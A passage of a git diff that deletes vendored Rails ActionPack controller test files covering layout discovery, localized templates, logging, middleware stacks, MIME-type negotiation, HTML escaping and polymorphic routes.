-class MultipleExtensions < LayoutTest
-end
-
-class LayoutAutoDiscoveryTest < ActionController::TestCase
-  def setup
-    @request.host = "www.nextangle.com"
-  end
-
-  def test_application_layout_is_default_when_no_controller_match
-    @controller = ProductController.new
-    get :hello
-    assert_equal 'layout_test.rhtml hello.rhtml', @response.body
-  end
-
-  def test_controller_name_layout_name_match
-    @controller = ItemController.new
-    get :hello
-    assert_equal 'item.rhtml hello.rhtml', @response.body
-  end
-
-  def test_third_party_template_library_auto_discovers_layout
-    @controller = ThirdPartyTemplateLibraryController.new
-    get :hello
-    assert_equal 'layouts/third_party_template_library.mab', @controller.active_layout.to_s
-    assert_equal 'layouts/third_party_template_library', @response.layout
-    assert_response :success
-    assert_equal 'Mab', @response.body
-  end
-
-  def test_namespaced_controllers_auto_detect_layouts
-    @controller = ControllerNameSpace::NestedController.new
-    get :hello
-    assert_equal 'layouts/controller_name_space/nested', @controller.active_layout.to_s
-    assert_equal 'controller_name_space/nested.rhtml hello.rhtml', @response.body
-  end
-
-  def test_namespaced_controllers_auto_detect_layouts
-    @controller = MultipleExtensions.new
-    get :hello
-    assert_equal 'layouts/multiple_extensions.html.erb', @controller.active_layout.to_s
-    assert_equal 'multiple_extensions.html.erb hello.rhtml', @response.body.strip
-  end
-end
-
-class DefaultLayoutController < LayoutTest
-end
-
-class AbsolutePathLayoutController < LayoutTest
-  layout File.expand_path(File.expand_path(__FILE__) + '/../../fixtures/layout_tests/layouts/layout_test.rhtml')
-end
-
-class AbsolutePathWithoutLayoutsController < LayoutTest
-  # Absolute layout path without 'layouts' in it.
-  layout File.expand_path(File.expand_path(__FILE__) + '/../../fixtures/layout_tests/abs_path_layout.rhtml')
-end
-
-class HasOwnLayoutController < LayoutTest
-  layout 'item'
-end
-
-class PrependsViewPathController < LayoutTest
-  def hello
-    prepend_view_path File.dirname(__FILE__) + '/../fixtures/layout_tests/alt/'
-    render :layout => 'alt'
-  end
-end
-
-class SetsLayoutInRenderController < LayoutTest
-  def hello
-    render :layout => 'third_party_template_library'
-  end
-end
-
-class RendersNoLayoutController < LayoutTest
-  def hello
-    render :layout => false
-  end
-end
-
-class LayoutSetInResponseTest < ActionController::TestCase
-  def test_layout_set_when_using_default_layout
-    @controller = DefaultLayoutController.new
-    get :hello
-    assert_equal 'layouts/layout_test', @response.layout
-  end
-
-  def test_layout_set_when_set_in_controller
-    @controller = HasOwnLayoutController.new
-    get :hello
-    assert_equal 'layouts/item', @response.layout
-  end
-
-  def test_layout_set_when_using_render
-    @controller = SetsLayoutInRenderController.new
-    get :hello
-    assert_equal 'layouts/third_party_template_library', @response.layout
-  end
-
-  def test_layout_is_not_set_when_none_rendered
-    @controller = RendersNoLayoutController.new
-    get :hello
-    assert_nil @response.layout
-  end
-
-  def test_exempt_from_layout_honored_by_render_template
-    ActionController::Base.exempt_from_layout :rhtml
-    @controller = RenderWithTemplateOptionController.new
-
-    get :hello
-    assert_equal "alt/hello.rhtml", @response.body.strip
-
-  ensure
-    ActionController::Base.exempt_from_layout.delete(/\.rhtml$/)
-  end
-
-  def test_layout_is_picked_from_the_controller_instances_view_path
-    @controller = PrependsViewPathController.new
-    get :hello
-    assert_equal 'layouts/alt', @response.layout
-  end
-
-  def test_absolute_pathed_layout
-    @controller = AbsolutePathLayoutController.new
-    get :hello
-    assert_equal "layout_test.rhtml hello.rhtml", @response.body.strip
-  end
-
-  def test_absolute_pathed_layout_without_layouts_in_path
-    @controller = AbsolutePathWithoutLayoutsController.new
-    get :hello
-    assert_equal "abs_path_layout.rhtml hello.rhtml", @response.body.strip
-  end
-end
-
-class RenderWithTemplateOptionController < LayoutTest
-  def hello
-    render :template => 'alt/hello'
-  end
-end
-
-class SetsNonExistentLayoutFile < LayoutTest
-  layout "nofile.rhtml"
-end
-
-class LayoutExceptionRaised < ActionController::TestCase
-  def test_exception_raised_when_layout_file_not_found
-    @controller = SetsNonExistentLayoutFile.new
-    get :hello
-    assert_kind_of ActionView::MissingTemplate, @response.template.instance_eval { @exception }
-  end
-end
-
-class LayoutStatusIsRendered < LayoutTest
-  def hello
-    render :status => 401
-  end
-end
-
-class LayoutStatusIsRenderedTest < ActionController::TestCase
-  def test_layout_status_is_rendered
-    @controller = LayoutStatusIsRendered.new
-    get :hello
-    assert_response 401
-  end
-end
-
-unless RUBY_PLATFORM =~ /(:?mswin|mingw|bccwin)/
-  class LayoutSymlinkedTest < LayoutTest
-    layout "symlinked/symlinked_layout"
-  end
-
-  class LayoutSymlinkedIsRenderedTest < ActionController::TestCase
-    def test_symlinked_layout_is_rendered
-      @controller = LayoutSymlinkedTest.new
-      get :hello
-      assert_response 200
-      assert_equal "layouts/symlinked/symlinked_layout", @response.layout
-    end
-  end
-end
-
diff --git a/vendor/rails/actionpack/test/controller/localized_templates_test.rb b/vendor/rails/actionpack/test/controller/localized_templates_test.rb
deleted file mode 100644
index e89e5a81..00000000
--- a/vendor/rails/actionpack/test/controller/localized_templates_test.rb
+++ /dev/null
@@ -1,24 +0,0 @@
-require 'abstract_unit'
-
-class LocalizedController < ActionController::Base
-  def hello_world
-  end
-end
-
-class LocalizedTemplatesTest < ActionController::TestCase
-  tests LocalizedController
-
-  teardown { I18n.locale = :en }
-
-  def test_localized_template_is_used
-    I18n.locale = :de
-    get :hello_world
-    assert_equal "Gutten Tag", @response.body
-  end
-
-  def test_default_locale_template_is_used_when_locale_is_missing
-    I18n.locale = :dk
-    get :hello_world
-    assert_equal "Hello World", @response.body
-  end
-end
\ No newline at end of file
diff --git a/vendor/rails/actionpack/test/controller/logging_test.rb b/vendor/rails/actionpack/test/controller/logging_test.rb
deleted file mode 100644
index 3c936854..00000000
--- a/vendor/rails/actionpack/test/controller/logging_test.rb
+++ /dev/null
@@ -1,46 +0,0 @@
-require 'abstract_unit'
-
-class LoggingController < ActionController::Base
-  def show
-    render :nothing => true
-  end
-end
-
-class LoggingTest < ActionController::TestCase
-  tests LoggingController
-
-  class MockLogger
-    attr_reader :logged
-    
-    def method_missing(method, *args)
-      @logged ||= []
-      @logged << args.first
-    end
-  end
-
-  setup :set_logger
-
-  def test_logging_without_parameters
-    get :show
-    assert_equal 2, logs.size
-    assert_nil logs.detect {|l| l =~ /Parameters/ }
-  end
-
-  def test_logging_with_parameters
-    get :show, :id => 10
-    assert_equal 3, logs.size
-
-    params = logs.detect {|l| l =~ /Parameters/ }
-    assert_equal 'Parameters: {"id"=>"10"}', params
-  end
-  
-  private
-
-  def set_logger
-    @controller.logger = MockLogger.new
-  end
-  
-  def logs
-    @logs ||= @controller.logger.logged.compact.map {|l| l.strip}
-  end
-end
diff --git a/vendor/rails/actionpack/test/controller/middleware_stack_test.rb b/vendor/rails/actionpack/test/controller/middleware_stack_test.rb
deleted file mode 100644
index 91823101..00000000
--- a/vendor/rails/actionpack/test/controller/middleware_stack_test.rb
+++ /dev/null
@@ -1,90 +0,0 @@
-require 'abstract_unit'
-
-class MiddlewareStackTest < ActiveSupport::TestCase
-  class FooMiddleware; end
-  class BarMiddleware; end
-  class BazMiddleware; end
-
-  def setup
-    @stack = ActionController::MiddlewareStack.new
-    @stack.use FooMiddleware
-    @stack.use BarMiddleware
-  end
-
-  test "use should push middleware as class onto the stack" do
-    assert_difference "@stack.size" do
-      @stack.use BazMiddleware
-    end
-    assert_equal BazMiddleware, @stack.last.klass
-  end
-
-  test "use should push middleware as a string onto the stack" do
-    assert_difference "@stack.size" do
-      @stack.use "MiddlewareStackTest::BazMiddleware"
-    end
-    assert_equal BazMiddleware, @stack.last.klass
-  end
-
-  test "use should push middleware as a symbol onto the stack" do
-    assert_difference "@stack.size" do
-      @stack.use :"MiddlewareStackTest::BazMiddleware"
-    end
-    assert_equal BazMiddleware, @stack.last.klass
-  end
-
-  test "use should push middleware class with arguments onto the stack" do
-    assert_difference "@stack.size" do
-      @stack.use BazMiddleware, true, :foo => "bar"
-    end
-    assert_equal BazMiddleware, @stack.last.klass
-    assert_equal([true, {:foo => "bar"}], @stack.last.args)
-  end
-
-  test "insert inserts middleware at the integer index" do
-    @stack.insert(1, BazMiddleware)
-    assert_equal BazMiddleware, @stack[1].klass
-  end
-
-  test "insert_after inserts middleware after the integer index" do
-    @stack.insert_after(1, BazMiddleware)
-    assert_equal BazMiddleware, @stack[2].klass
-  end
-
-  test "insert_before inserts middleware before another middleware class" do
-    @stack.insert_before(BarMiddleware, BazMiddleware)
-    assert_equal BazMiddleware, @stack[1].klass
-  end
-
-  test "insert_after inserts middleware after another middleware class" do
-    @stack.insert_after(BarMiddleware, BazMiddleware)
-    assert_equal BazMiddleware, @stack[2].klass
-  end
-
-  test "swaps one middleware out for another" do
-    assert_equal FooMiddleware, @stack[0].klass
-    @stack.swap(FooMiddleware, BazMiddleware)
-    assert_equal BazMiddleware, @stack[0].klass
-  end
-
-  test "active returns all only enabled middleware" do
-    assert_no_difference "@stack.active.size" do
-      assert_difference "@stack.size" do
-        @stack.use BazMiddleware, :if => lambda { false }
-      end
-    end
-  end
-
-  test "lazy evaluates middleware class" do
-    assert_difference "@stack.size" do
-      @stack.use lambda { BazMiddleware }
-    end
-    assert_equal BazMiddleware, @stack.last.klass
-  end
-
-  test "lazy evaluates middleware arguments" do
-    assert_difference "@stack.size" do
-      @stack.use BazMiddleware, lambda { :foo }
-    end
-    assert_equal [:foo], @stack.last.send(:build_args)
-  end
-end
diff --git a/vendor/rails/actionpack/test/controller/mime_responds_test.rb b/vendor/rails/actionpack/test/controller/mime_responds_test.rb
deleted file mode 100644
index edd71623..00000000
--- a/vendor/rails/actionpack/test/controller/mime_responds_test.rb
+++ /dev/null
@@ -1,536 +0,0 @@
-require 'abstract_unit'
-
-class RespondToController < ActionController::Base
-  layout :set_layout
-
-  def html_xml_or_rss
-    respond_to do |type|
-      type.html { render :text => "HTML"    }
-      type.xml  { render :text => "XML"     }
-      type.rss  { render :text => "RSS"     }
-      type.all  { render :text => "Nothing" }
-    end
-  end
-
-  def js_or_html
-    respond_to do |type|
-      type.html { render :text => "HTML"    }
-      type.js   { render :text => "JS"      }
-      type.all  { render :text => "Nothing" }
-    end
-  end
-
-  def json_or_yaml
-    respond_to do |type|
-      type.json { render :text => "JSON" }
-      type.yaml { render :text => "YAML" }
-    end
-  end
-
-  def html_or_xml
-    respond_to do |type|
-      type.html { render :text => "HTML"    }
-      type.xml  { render :text => "XML"     }
-      type.all  { render :text => "Nothing" }
-    end
-  end
-
-  def forced_xml
-    request.format = :xml
-
-    respond_to do |type|
-      type.html { render :text => "HTML"    }
-      type.xml  { render :text => "XML"     }
-    end
-  end
-
-  def just_xml
-    respond_to do |type|
-      type.xml  { render :text => "XML" }
-    end
-  end
-
-  def using_defaults
-    respond_to do |type|
-      type.html
-      type.js
-      type.xml
-    end
-  end
-
-  def using_defaults_with_type_list
-    respond_to(:html, :js, :xml)
-  end
-
-  def made_for_content_type
-    respond_to do |type|
-      type.rss  { render :text => "RSS"  }
-      type.atom { render :text => "ATOM" }
-      type.all  { render :text => "Nothing" }
-    end
-  end
-
-  def custom_type_handling
-    respond_to do |type|
-      type.html { render :text => "HTML"    }
-      type.custom("application/crazy-xml")  { render :text => "Crazy XML"  }
-      type.all  { render :text => "Nothing" }
-    end
-  end
-
-  def custom_constant_handling
-    Mime::Type.register("text/x-mobile", :mobile)
-
-    respond_to do |type|
-      type.html   { render :text => "HTML"   }
-      type.mobile { render :text => "Mobile" }
-    end
-  ensure
-    Mime.module_eval { remove_const :MOBILE if const_defined?(:MOBILE) }
-  end
-
-  def custom_constant_handling_without_block
-    Mime::Type.register("text/x-mobile", :mobile)
-
-    respond_to do |type|
-      type.html   { render :text => "HTML"   }
-      type.mobile
-    end
-
-  ensure
-    Mime.module_eval { remove_const :MOBILE if const_defined?(:MOBILE) }
-  end
-
-  def handle_any
-    respond_to do |type|
-      type.html { render :text => "HTML" }
-      type.any(:js, :xml) { render :text => "Either JS or XML" }
-    end
-  end
-
-  def handle_any_any
-    respond_to do |type|
-      type.html { render :text => 'HTML' }
-      type.any { render :text => 'Whatever you ask for, I got it' }
-    end
-  end
-
-  def all_types_with_layout
-    respond_to do |type|
-      type.html
-      type.js
-    end
-  end
-
-  def iphone_with_html_response_type
-    Mime::Type.register_alias("text/html", :iphone)
-    request.format = :iphone if request.env["HTTP_ACCEPT"] == "text/iphone"
-
-    respond_to do |type|
-      type.html   { @type = "Firefox" }
-      type.iphone { @type = "iPhone"  }
-    end
-
-  ensure
-    Mime.module_eval { remove_const :IPHONE if const_defined?(:IPHONE) }
-  end
-
-  def iphone_with_html_response_type_without_layout
-    Mime::Type.register_alias("text/html", :iphone)
-    request.format = "iphone" if request.env["HTTP_ACCEPT"] == "text/iphone"
-
-    respond_to do |type|
-      type.html   { @type = "Firefox"; render :action => "iphone_with_html_response_type" }
-      type.iphone { @type = "iPhone" ; render :action => "iphone_with_html_response_type" }
-    end
-
-  ensure
-    Mime.module_eval { remove_const :IPHONE if const_defined?(:IPHONE) }
-  end
-
-  def rescue_action(e)
-    raise
-  end
-
-  protected
-    def set_layout
-      if ["all_types_with_layout", "iphone_with_html_response_type"].include?(action_name)
-        "respond_to/layouts/standard"
-      elsif action_name == "iphone_with_html_response_type_without_layout"
-        "respond_to/layouts/missing"
-      end
-    end
-end
-
-class MimeControllerTest < ActionController::TestCase
-  tests RespondToController
-
-  def setup
-    ActionController::Base.use_accept_header = true
-    @request.host = "www.example.com"
-  end
-
-  def teardown
-    ActionController::Base.use_accept_header = false
-  end
-
-  def test_html
-    @request.accept = "text/html"
-    get :js_or_html
-    assert_equal 'HTML', @response.body
-
-    get :html_or_xml
-    assert_equal 'HTML', @response.body
-
-    get :just_xml
-    assert_response 406
-  end
-
-  def test_all
-    @request.accept = "*/*"
-    get :js_or_html
-    assert_equal 'HTML', @response.body # js is not part of all
-
-    get :html_or_xml
-    assert_equal 'HTML', @response.body
-
-    get :just_xml
-    assert_equal 'XML', @response.body
-  end
-
-  def test_xml
-    @request.accept = "application/xml"
-    get :html_xml_or_rss
-    assert_equal 'XML', @response.body
-  end
-
-  def test_js_or_html
-    @request.accept = "text/javascript, text/html"
-    get :js_or_html
-    assert_equal 'JS', @response.body
-
-    get :html_or_xml
-    assert_equal 'HTML', @response.body
-
-    get :just_xml
-    assert_response 406
-  end
-
-  def test_json_or_yaml
-    get :json_or_yaml
-    assert_equal 'JSON', @response.body
-
-    get :json_or_yaml, :format => 'json'
-    assert_equal 'JSON', @response.body
-
-    get :json_or_yaml, :format => 'yaml'
-    assert_equal 'YAML', @response.body
-
-    { 'YAML' => %w(text/yaml),
-      'JSON' => %w(application/json text/x-json)
-    }.each do |body, content_types|
-      content_types.each do |content_type|
-        @request.accept = content_type
-        get :json_or_yaml
-        assert_equal body, @response.body
-      end
-    end
-  end
-
-  def test_js_or_anything
-    @request.accept = "text/javascript, */*"
-    get :js_or_html
-    assert_equal 'JS', @response.body
-
-    get :html_or_xml
-    assert_equal 'HTML', @response.body
-
-    get :just_xml
-    assert_equal 'XML', @response.body
-  end
-
-  def test_using_defaults
-    @request.accept = "*/*"
-    get :using_defaults
-    assert_equal "text/html", @response.content_type
-    assert_equal 'Hello world!', @response.body
-
-    @request.accept = "text/javascript"
-    get :using_defaults
-    assert_equal "text/javascript", @response.content_type
-    assert_equal '$("body").visualEffect("highlight");', @response.body
-
-    @request.accept = "application/xml"
-    get :using_defaults
-    assert_equal "application/xml", @response.content_type
-    assert_equal "<p>Hello world!</p>\n", @response.body
-  end
-
-  def test_using_defaults_with_type_list
-    @request.accept = "*/*"
-    get :using_defaults_with_type_list
-    assert_equal "text/html", @response.content_type
-    assert_equal 'Hello world!', @response.body
-
-    @request.accept = "text/javascript"
-    get :using_defaults_with_type_list
-    assert_equal "text/javascript", @response.content_type
-    assert_equal '$("body").visualEffect("highlight");', @response.body
-
-    @request.accept = "application/xml"
-    get :using_defaults_with_type_list
-    assert_equal "application/xml", @response.content_type
-    assert_equal "<p>Hello world!</p>\n", @response.body
-  end
-
-  def test_with_atom_content_type
-    @request.env["CONTENT_TYPE"] = "application/atom+xml"
-    get :made_for_content_type
-    assert_equal "ATOM", @response.body
-  end
-
-  def test_with_rss_content_type
-    @request.env["CONTENT_TYPE"] = "application/rss+xml"
-    get :made_for_content_type
-    assert_equal "RSS", @response.body
-  end
-
-  def test_synonyms
-    @request.accept = "application/javascript"
-    get :js_or_html
-    assert_equal 'JS', @response.body
-
-    @request.accept = "application/x-xml"
-    get :html_xml_or_rss
-    assert_equal "XML", @response.body
-  end
-
-  def test_custom_types
-    @request.accept = "application/crazy-xml"
-    get :custom_type_handling
-    assert_equal "application/crazy-xml", @response.content_type
-    assert_equal 'Crazy XML', @response.body
-
-    @request.accept = "text/html"
-    get :custom_type_handling
-    assert_equal "text/html", @response.content_type
-    assert_equal 'HTML', @response.body
-  end
-
-  def test_xhtml_alias
-    @request.accept = "application/xhtml+xml,application/xml"
-    get :html_or_xml
-    assert_equal 'HTML', @response.body
-  end
-
-  def test_firefox_simulation
-    @request.accept = "text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5"
-    get :html_or_xml
-    assert_equal 'HTML', @response.body
-  end
-
-  def test_handle_any
-    @request.accept = "*/*"
-    get :handle_any
-    assert_equal 'HTML', @response.body
-
-    @request.accept = "text/javascript"
-    get :handle_any
-    assert_equal 'Either JS or XML', @response.body
-
-    @request.accept = "text/xml"
-    get :handle_any
-    assert_equal 'Either JS or XML', @response.body
-  end
-
-  def test_handle_any_any
-    @request.accept = "*/*"
-    get :handle_any_any
-    assert_equal 'HTML', @response.body
-  end
-
-  def test_handle_any_any_parameter_format
-    get :handle_any_any, {:format=>'html'}
-    assert_equal 'HTML', @response.body
-  end
-
-  def test_handle_any_any_explicit_html
-    @request.accept = "text/html"
-    get :handle_any_any
-    assert_equal 'HTML', @response.body
-  end
-
-  def test_handle_any_any_javascript
-    @request.accept = "text/javascript"
-    get :handle_any_any
-    assert_equal 'Whatever you ask for, I got it', @response.body
-  end
-
-  def test_handle_any_any_xml
-    @request.accept = "text/xml"
-    get :handle_any_any
-    assert_equal 'Whatever you ask for, I got it', @response.body
-  end
-
-  def test_rjs_type_skips_layout
-    @request.accept = "text/javascript"
-    get :all_types_with_layout
-    assert_equal 'RJS for all_types_with_layout', @response.body
-  end
-
-  def test_html_type_with_layout
-    @request.accept = "text/html"
-    get :all_types_with_layout
-    assert_equal '<html><div id="html">HTML for all_types_with_layout</div></html>', @response.body
-  end
-
-  def test_xhr
-    xhr :get, :js_or_html
-    assert_equal 'JS', @response.body
-
-    xhr :get, :using_defaults
-    assert_equal '$("body").visualEffect("highlight");', @response.body
-  end
-
-  def test_custom_constant
-    get :custom_constant_handling, :format => "mobile"
-    assert_equal "text/x-mobile", @response.content_type
-    assert_equal "Mobile", @response.body
-  end
-
-  def test_custom_constant_handling_without_block
-    get :custom_constant_handling_without_block, :format => "mobile"
-    assert_equal "text/x-mobile", @response.content_type
-    assert_equal "Mobile", @response.body
-  end
-
-  def test_forced_format
-    get :html_xml_or_rss
-    assert_equal "HTML", @response.body
-
-    get :html_xml_or_rss, :format => "html"
-    assert_equal "HTML", @response.body
-
-    get :html_xml_or_rss, :format => "xml"
-    assert_equal "XML", @response.body
-
-    get :html_xml_or_rss, :format => "rss"
-    assert_equal "RSS", @response.body
-  end
-
-  def test_internally_forced_format
-    get :forced_xml
-    assert_equal "XML", @response.body
-
-    get :forced_xml, :format => "html"
-    assert_equal "XML", @response.body
-  end
-
-  def test_extension_synonyms
-    get :html_xml_or_rss, :format => "xhtml"
-    assert_equal "HTML", @response.body
-  end
-
-  def test_render_action_for_html
-    @controller.instance_eval do
-      def render(*args)
-        unless args.empty?
-          @action = args.first[:action]
-        end
-        response.body = "#{@action} - #{@template.template_format}"
-      end
-    end
-
-    get :using_defaults
-    assert_equal "using_defaults - html", @response.body
-
-    get :using_defaults, :format => "xml"
-    assert_equal "using_defaults - xml", @response.body
-  end
-
-  def test_format_with_custom_response_type
-    get :iphone_with_html_response_type
-    assert_equal '<html><div id="html">Hello future from Firefox!</div></html>', @response.body
-
-    get :iphone_with_html_response_type, :format => "iphone"
-    assert_equal "text/html", @response.content_type
-    assert_equal '<html><div id="iphone">Hello iPhone future from iPhone!</div></html>', @response.body
-  end
-
-  def test_format_with_custom_response_type_and_request_headers
-    @request.accept = "text/iphone"
-    get :iphone_with_html_response_type
-    assert_equal '<html><div id="iphone">Hello iPhone future from iPhone!</div></html>', @response.body
-    assert_equal "text/html", @response.content_type
-  end
-
-  def test_format_with_custom_response_type_and_request_headers_with_only_one_layout_present
-    get :iphone_with_html_response_type_without_layout
-    assert_equal '<html><div id="html_missing">Hello future from Firefox!</div></html>', @response.body
-
-    @request.accept = "text/iphone"
-    assert_raise(ActionView::MissingTemplate) { get :iphone_with_html_response_type_without_layout }
-  end
-end
-
-class AbstractPostController < ActionController::Base
-  self.view_paths = File.dirname(__FILE__) + "/../fixtures/post_test/"
-end
-
-# For testing layouts which are set automatically
-class PostController < AbstractPostController
-  around_filter :with_iphone
-
-  def index
-    respond_to do |type|
-      type.html
-      type.iphone
-    end
-  end
-
-  protected
-    def with_iphone
-      Mime::Type.register_alias("text/html", :iphone)
-      request.format = "iphone" if request.env["HTTP_ACCEPT"] == "text/iphone"
-      yield
-    ensure
-      Mime.module_eval { remove_const :IPHONE if const_defined?(:IPHONE) }
-    end
-end
-
-class SuperPostController < PostController
-  def index
-    respond_to do |type|
-      type.html
-      type.iphone
-    end
-  end
-end
-
-class MimeControllerLayoutsTest < ActionController::TestCase
-  tests PostController
-
-  def setup
-    @request.host = "www.example.com"
-  end
-
-  def test_missing_layout_renders_properly
-    get :index
-    assert_equal '<html><div id="html">Hello Firefox</div></html>', @response.body
-
-    @request.accept = "text/iphone"
-    get :index
-    assert_equal 'Hello iPhone', @response.body
-  end
-
-  def test_format_with_inherited_layouts
-    @controller = SuperPostController.new
-
-    get :index
-    assert_equal 'Super Firefox', @response.body
-
-    @request.accept = "text/iphone"
-    get :index
-    assert_equal '<html><div id="super_iphone">Super iPhone</div></html>', @response.body
-  end
-end
diff --git a/vendor/rails/actionpack/test/controller/mime_type_test.rb b/vendor/rails/actionpack/test/controller/mime_type_test.rb
deleted file mode 100644
index c7faa621..00000000
--- a/vendor/rails/actionpack/test/controller/mime_type_test.rb
+++ /dev/null
@@ -1,93 +0,0 @@
-require 'abstract_unit'
-
-class MimeTypeTest < Test::Unit::TestCase
-  Mime::Type.register "image/png", :png
-  Mime::Type.register "application/pdf", :pdf
-
-  def test_parse_single
-    Mime::LOOKUP.keys.each do |mime_type|
-      assert_equal [Mime::Type.lookup(mime_type)], Mime::Type.parse(mime_type)
-    end
-  end
-
-  def test_parse_without_q
-    accept = "text/xml,application/xhtml+xml,text/yaml,application/xml,text/html,image/png,text/plain,application/pdf,*/*"
-    expect = [Mime::HTML, Mime::XML, Mime::YAML, Mime::PNG, Mime::TEXT, Mime::PDF, Mime::ALL]
-    assert_equal expect, Mime::Type.parse(accept)
-  end
-
-  def test_parse_with_q
-    accept = "text/xml,application/xhtml+xml,text/yaml; q=0.3,application/xml,text/html; q=0.8,image/png,text/plain; q=0.5,application/pdf,*/*; q=0.2"
-    expect = [Mime::HTML, Mime::XML, Mime::PNG, Mime::PDF, Mime::TEXT, Mime::YAML, Mime::ALL]
-    assert_equal expect, Mime::Type.parse(accept)
-  end
-  
-  # Accept header send with user HTTP_USER_AGENT: Sunrise/0.42j (Windows XP)
-  def test_parse_crappy_broken_acceptlines
-    accept = "text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/*,,*/*;q=0.5"
-    expect = [Mime::HTML, Mime::XML, "image/*", Mime::TEXT, Mime::ALL]
-    assert_equal expect, Mime::Type.parse(accept).collect { |c| c.to_s }
-  end
-
-  # Accept header send with user HTTP_USER_AGENT: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; InfoPath.1)
-  def test_parse_crappy_broken_acceptlines2
-    accept = "image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword,  , pronto/1.00.00, sslvpn/1.00.00.00, */*"
-    expect = ['image/gif', 'image/x-xbitmap', 'image/jpeg','image/pjpeg', 'application/x-shockwave-flash', 'application/vnd.ms-excel', 'application/vnd.ms-powerpoint', 'application/msword', 'pronto/1.00.00', 'sslvpn/1.00.00.00', Mime::ALL  ]
-    assert_equal expect, Mime::Type.parse(accept).collect { |c| c.to_s }
-  end
-  
-  def test_custom_type
-    Mime::Type.register("image/gif", :gif)
-    assert_nothing_raised do 
-      Mime::GIF
-      assert_equal Mime::GIF, Mime::SET.last
-    end
-  ensure
-    Mime.module_eval { remove_const :GIF if const_defined?(:GIF) }
-  end
-  
-  def test_type_should_be_equal_to_symbol
-    assert_equal Mime::HTML, 'application/xhtml+xml'
-    assert_equal Mime::HTML, :html
-  end
-
-  def test_type_convenience_methods
-    # Don't test Mime::ALL, since it Mime::ALL#html? == true
-    types = Mime::SET.to_a.map(&:to_sym).uniq - [:all]
-
-    # Remove custom Mime::Type instances set in other tests, like Mime::GIF and Mime::IPHONE
-    types.delete_if { |type| !Mime.const_defined?(type.to_s.upcase) }
-
-    types.each do |type|
-      mime = Mime.const_get(type.to_s.upcase)
-      assert mime.send("#{type}?"), "#{mime.inspect} is not #{type}?"
-      invalid_types = types - [type]
-      invalid_types.delete(:html) if Mime::Type.html_types.include?(type)
-      invalid_types.each { |other_type| assert !mime.send("#{other_type}?"), "#{mime.inspect} is #{other_type}?" }
-    end
-  end
-
-  def test_mime_all_is_html
-    assert Mime::ALL.all?,  "Mime::ALL is not all?"
-    assert Mime::ALL.html?, "Mime::ALL is not html?"
-  end
-
-  def test_verifiable_mime_types
-    all_types = Mime::SET.to_a.map(&:to_sym)
-    all_types.uniq!
-    # Remove custom Mime::Type instances set in other tests, like Mime::GIF and Mime::IPHONE
-    all_types.delete_if { |type| !Mime.const_defined?(type.to_s.upcase) }
-    verified, unverified = all_types.partition { |type| Mime::Type.browser_generated_types.include? type }
-    assert verified.each   { |type| assert  Mime.const_get(type.to_s.upcase).verify_request?, "Verifiable Mime Type is not verified: #{type.inspect}" }
-    assert unverified.each { |type| assert !Mime.const_get(type.to_s.upcase).verify_request?, "Nonverifiable Mime Type is verified: #{type.inspect}" }
-  end
-
-  def test_regexp_matcher
-    assert Mime::JS =~ "text/javascript"
-    assert Mime::JS =~ "application/javascript"
-    assert Mime::JS !~ "text/html"
-    assert !(Mime::JS !~ "text/javascript")
-    assert !(Mime::JS !~ "application/javascript")
-    assert Mime::HTML =~ 'application/xhtml+xml'
-  end
-end
diff --git a/vendor/rails/actionpack/test/controller/output_escaping_test.rb b/vendor/rails/actionpack/test/controller/output_escaping_test.rb
deleted file mode 100644
index 43a8c05c..00000000
--- a/vendor/rails/actionpack/test/controller/output_escaping_test.rb
+++ /dev/null
@@ -1,19 +0,0 @@
-require 'abstract_unit'
-
-class OutputEscapingTest < ActiveSupport::TestCase
-
-  test "escape_html shouldn't die when passed nil" do
-    assert ERB::Util.h(nil).blank?
-  end
-
-  test "escapeHTML should escape strings" do
-    assert_equal "&lt;&gt;&quot;", ERB::Util.h("<>\"")
-  end
-
-  test "escapeHTML shouldn't touch explicitly safe strings" do
-    # TODO this seems easier to compose and reason about, but
-    # this should be verified
-    assert_equal "<", ERB::Util.h("<".html_safe)
-  end
-
-end
diff --git a/vendor/rails/actionpack/test/controller/polymorphic_routes_test.rb b/vendor/rails/actionpack/test/controller/polymorphic_routes_test.rb
deleted file mode 100644
index a075fc4a..00000000
--- a/vendor/rails/actionpack/test/controller/polymorphic_routes_test.rb
+++ /dev/null
@@ -1,297 +0,0 @@
-require 'abstract_unit'
-
-class Article
-  attr_reader :id
-  def save; @id = 1 end
-  def new_record?; @id.nil? end
-  def name
-    model = self.class.name.downcase
-    @id.nil? ? "new #{model}" : "#{model} ##{@id}"
-  end
-end
-
-class Response < Article
-  def post_id; 1 end
-end
-
-class Tag < Article
-  def response_id; 1 end
-end
-
-class Tax
-  attr_reader :id
-  def save; @id = 1 end
-  def new_record?; @id.nil? end
-  def name
-    model = self.class.name.downcase
-    @id.nil? ? "new #{model}" : "#{model} ##{@id}"
-  end
-end
-
-class Fax < Tax
-  def store_id; 1 end
-end
-
-# TODO: test nested models
-class Response::Nested < Response; end
-
-class PolymorphicRoutesTest < ActiveSupport::TestCase
-  include ActionController::PolymorphicRoutes
-
-  def setup
-    @article = Article.new
-    @response = Response.new
-    @tax = Tax.new
-    @fax = Fax.new
-  end
-
-  def test_with_record
-    @article.save
-    expects(:article_url).with(@article)
-    polymorphic_url(@article)
-  end
-
-  def test_with_new_record
-    expects(:articles_url).with()
-    @article.expects(:new_record?).returns(true)
-    polymorphic_url(@article)
-  end
-
-  def test_with_record_and_action
-    expects(:new_article_url).with()
-    @article.expects(:new_record?).never
-    polymorphic_url(@article, :action => 'new')
-  end
-
-  def test_url_helper_prefixed_with_new
-    expects(:new_article_url).with()
-    new_polymorphic_url(@article)
-  end
-
-  def test_url_helper_prefixed_with_edit
-    @article.save
-    expects(:edit_article_url).with(@article)
-    edit_polymorphic_url(@article)
-  end
-
-  def test_url_helper_prefixed_with_edit_with_url_options
-    @article.save
-    expects(:edit_article_url).with(@article, :param1 => '10')
-    edit_polymorphic_url(@article, :param1 => '10')
-  end
-
-  def test_url_helper_with_url_options
-    @article.save
-    expects(:article_url).with(@article, :param1 => '10')
-    polymorphic_url(@article, :param1 => '10')
-  end
-
-  def test_formatted_url_helper_is_deprecated
-    expects(:articles_url).with(:format => :pdf)
-    assert_deprecated do
